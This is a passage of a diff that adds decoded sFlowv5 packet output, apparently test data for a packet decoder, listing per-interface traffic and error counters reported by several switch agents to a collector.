+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007169, type 0, idx 18, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 18, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 95210366, unicast pkts 443561, multicast pkts 2169, broadcast pkts 24997, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4035379503, unicast pkts 332327, multicast pkts 2196767, broadcast pkts 48336027, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007264, type 0, idx 19, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 19, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1379521296, unicast pkts 50010620, multicast pkts 1046, broadcast pkts 48921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 435976335, unicast pkts 57993600, multicast pkts 2197958, broadcast pkts 48315375, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007257, type 0, idx 20, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 20, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 312017292, unicast pkts 47238597, multicast pkts 1476, broadcast pkts 23377, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3242136708, unicast pkts 57532634, multicast pkts 2198069, broadcast pkts 48339981, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009604, type 0, idx 21, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 21, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4127607826, unicast pkts 29906144, multicast pkts 1233, broadcast pkts 69575, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2091792747, unicast pkts 3024931093, multicast pkts 2198065, broadcast pkts 48294332, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12211, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499685, uptime 12973664, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007104, type 0, idx 22, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 22, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 124432239, unicast pkts 511115, multicast pkts 21969, broadcast pkts 120004, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3066166092, unicast pkts 2595939, multicast pkts 2177143, broadcast pkts 48244891, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008568, type 0, idx 23, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 23, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 142412715, unicast pkts 4067695849, multicast pkts 1301, broadcast pkts 59350, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3335716564, unicast pkts 2083658988, multicast pkts 2198160, broadcast pkts 48304443, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009649, type 0, idx 24, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 24, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1376243919, unicast pkts 42736656, multicast pkts 1161, broadcast pkts 37177, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3949008841, unicast pkts 3045234063, multicast pkts 2197974, broadcast pkts 48326808, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009621, type 0, idx 25, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 25, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1314601210, unicast pkts 4258058414, multicast pkts 1154, broadcast pkts 42425, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2836953588, unicast pkts 2986750860, multicast pkts 2197982, broadcast pkts 48321714, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007193, type 0, idx 26, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 26, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2022052468, unicast pkts 13527038, multicast pkts 933, broadcast pkts 57921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 620629707, unicast pkts 19469425, multicast pkts 2198358, broadcast pkts 48305869, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007253, type 0, idx 27, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 27, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3262458931, unicast pkts 47684835, multicast pkts 1039, broadcast pkts 5299, discards 0
+	      In errors 3, unknown protos 0
+	      Out octets 3900626480, unicast pkts 54120142, multicast pkts 2198706, broadcast pkts 48356894, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005148, type 0, idx 28, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 28, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 259120552, unicast pkts 1107924, multicast pkts 198, broadcast pkts 3429, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 653805810, unicast pkts 4189777, multicast pkts 2198871, broadcast pkts 48346830, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12212, offset 0, flags [none], proto UDP (17), length 1136)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499686, uptime 12973800, samples 6, length 1108
+	expanded counter sample (4), length 172, seqnum 2007268, type 0, idx 29, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 29, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1267844166, unicast pkts 49781127, multicast pkts 1368, broadcast pkts 40480, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 321243842, unicast pkts 57718818, multicast pkts 2197767, broadcast pkts 48323189, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009633, type 0, idx 30, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 30, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1960827113, unicast pkts 4258067543, multicast pkts 1249, broadcast pkts 60280, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3144893898, unicast pkts 3032873251, multicast pkts 2198370, broadcast pkts 48301571, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017264, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4161963595, unicast pkts 3263163886, multicast pkts 1151176, broadcast pkts 287880328, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 296840057, unicast pkts 1684325909, multicast pkts 1126235, broadcast pkts 1405132663, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017179, type 0, idx 51, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 51, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2214905605, unicast pkts 2466386895, multicast pkts 5276601, broadcast pkts 1225128676, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3025945518, unicast pkts 2183065991, multicast pkts 899419, broadcast pkts 2308600565, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1220659, type 0, idx 52, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 52, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3618900052, unicast pkts 334487763, multicast pkts 651947, broadcast pkts 3712423535, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 697413100, unicast pkts 537120139, multicast pkts 163886, broadcast pkts 4083094099, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 1220562, type 0, idx 53, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 53, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 851207797, unicast pkts 325440428, multicast pkts 164171, broadcast pkts 21946044, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1855403849, unicast pkts 517660679, multicast pkts 163669, broadcast pkts 21301, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 23656, offset 0, flags [none], proto UDP (17), length 236)
+    15.184.1.76.40948 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.8.4, agent-id 2, seqnum 204721, uptime 2612972594, samples 1, length 208
+	expanded counter sample (4), length 172, seqnum 87243, type 0, idx 105, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 105, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1063772406, unicast pkts 81120, multicast pkts 174318, broadcast pkts 3847558651, discards 0
+	      In errors 6, unknown protos 0
+	      Out octets 3728106697, unicast pkts 53832149, multicast pkts 218554, broadcast pkts 2160868, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 6, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 4
+IP (tos 0x0, ttl 253, id 27097, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354082, uptime 15617401, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007459, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 398, unicast pkts 0, multicast pkts 5, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3980656605, unicast pkts 65082, multicast pkts 2199480, broadcast pkts 48372199, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007455, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1444442513, unicast pkts 69372226, multicast pkts 1207, broadcast pkts 31114, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1845546441, unicast pkts 41823689, multicast pkts 2201740, broadcast pkts 48335077, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007396, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 200763454, unicast pkts 891785, multicast pkts 982, broadcast pkts 13320, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 3317395016, unicast pkts 5225674, multicast pkts 1949791, broadcast pkts 8711770, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007402, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 165801154, unicast pkts 662297, multicast pkts 491, broadcast pkts 15752, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2164450538, unicast pkts 1115261, multicast pkts 1949901, broadcast pkts 8709518, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1993492, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 198991268, unicast pkts 941829, multicast pkts 664, broadcast pkts 33726, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 4052534333, unicast pkts 2591418, multicast pkts 1994963, broadcast pkts 8691000, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 1, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 2007737, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 561751280, unicast pkts 575605209, multicast pkts 1250, broadcast pkts 15322854, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 1513353683, unicast pkts 602598577, multicast pkts 1954404, broadcast pkts 4990177, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008403, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3193665198, unicast pkts 642460773, multicast pkts 1401, broadcast pkts 219741, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2913194238, unicast pkts 390983681, multicast pkts 1955407, broadcast pkts 20090610, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27098, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354083, uptime 15617403, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2008394, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1089063112, unicast pkts 559652885, multicast pkts 634, broadcast pkts 224712, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3489201031, unicast pkts 383200930, multicast pkts 1955795, broadcast pkts 20085985, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008429, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2436646808, unicast pkts 568003495, multicast pkts 906, broadcast pkts 16545, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1717246279, unicast pkts 389888234, multicast pkts 1955669, broadcast pkts 20294132, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005878, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 105616289, unicast pkts 531333, multicast pkts 768, broadcast pkts 9159, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 10387408, unicast pkts 2209569, multicast pkts 1954606, broadcast pkts 20288646, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007661, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1801369357, unicast pkts 137590483, multicast pkts 2109, broadcast pkts 55528, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1769140298, unicast pkts 113363667, multicast pkts 2197521, broadcast pkts 48315560, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007552, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4201581256, unicast pkts 45842890, multicast pkts 1610, broadcast pkts 22730, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1948082196, unicast pkts 53163690, multicast pkts 2198297, broadcast pkts 48348226, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007540, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1019109063, unicast pkts 46613839, multicast pkts 1236, broadcast pkts 22226, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2052469045, unicast pkts 53287225, multicast pkts 2198499, broadcast pkts 48348754, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2010424, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 36138805, unicast pkts 2267783883, multicast pkts 298, broadcast pkts 38306126, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 614425293, unicast pkts 2014274284, multicast pkts 2199305, broadcast pkts 10065409, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27099, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354084, uptime 15617404, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2009508, type 0, idx 15, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 15, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 601225935, unicast pkts 4276033652, multicast pkts 1612, broadcast pkts 34856, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1981555755, unicast pkts 2886814164, multicast pkts 2198139, broadcast pkts 48336014, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007691, type 0, idx 16, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 16, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4196949353, unicast pkts 109362236, multicast pkts 10140, broadcast pkts 40757, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 703618451, unicast pkts 113710944, multicast pkts 2190477, broadcast pkts 48326386, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007530, type 0, idx 17, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 17, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4170852137, unicast pkts 45863536, multicast pkts 1559, broadcast pkts 27211, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2026848065, unicast pkts 53131746, multicast pkts 2198420, broadcast pkts 48343547, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009475, type 0, idx 18, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 18, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 125400617, unicast pkts 3953942566, multicast pkts 1121, broadcast pkts 35754, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3010600832, unicast pkts 2658737621, multicast pkts 2198495, broadcast pkts 48334857, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007417, type 0, idx 19, records 2
+	    enterprise 0, Generic counter (1) length 88
